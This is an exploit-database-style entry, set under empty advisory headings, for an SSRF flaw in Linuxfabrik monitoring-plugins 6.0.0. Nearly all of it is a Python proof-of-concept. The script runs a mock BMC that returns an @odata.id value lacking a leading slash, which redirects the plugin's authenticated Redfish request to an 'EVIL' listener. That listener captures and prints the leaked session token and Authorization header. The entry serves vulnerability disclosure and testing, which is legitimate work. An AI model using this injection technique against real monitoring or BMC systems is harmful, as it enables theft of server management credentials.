Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins # Software Link: https://github.com/Linuxfabrik/monitoring-plugins # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (redfish_ssrf_token_poc.py) --- import http.server, json, subprocess, threading, os, sys BMC_PORT, EVIL_PORT = 18080, 18081 EVIL_HITS = [] TOKEN = 'SESSION-TOKEN-SECRET-abc123' class BMC(http.server.BaseHTTPRequestHandler):     def _j(self, obj, extra=None):         b=json.dumps(obj).encode(); self.send_response(200)         self.send_header('Content-Type','application/json')         if extra:             for k,v in extra.items(): self.send_header(k,v)         self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)     def do_POST(self):   # session create -> issue token         self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})     def do_GET(self):         if self.path.endswith('/SessionService'):             self._j({'SessionTimeout':600})         elif self.path.endswith('/Systems'):             self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})         else:             self._j({'Members':[]})     def log_message(self,*a): pass class EVIL(http.server.BaseHTTPRequestHandler):     def _rec(self):         EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))         b=b'{"Members": []}'; self.send_response(200)         self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)     do_GET=_rec; do_POST=_rec     def log_message(self,*a): pass def serve(port,h):     httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)     threading.Thread(target=httpd.serve_forever,daemon=True).start() serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL) env=dict(os.environ,PYTHONPATH='/opt') plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces' cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 '] p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60) print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300]) print('EVIL hits:',len(EVIL_HITS)) for m,path,tok,auth in EVIL_HITS:     print(f'  {m} {path}  X-Auth-Token={tok}  Authorization={auth}') print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')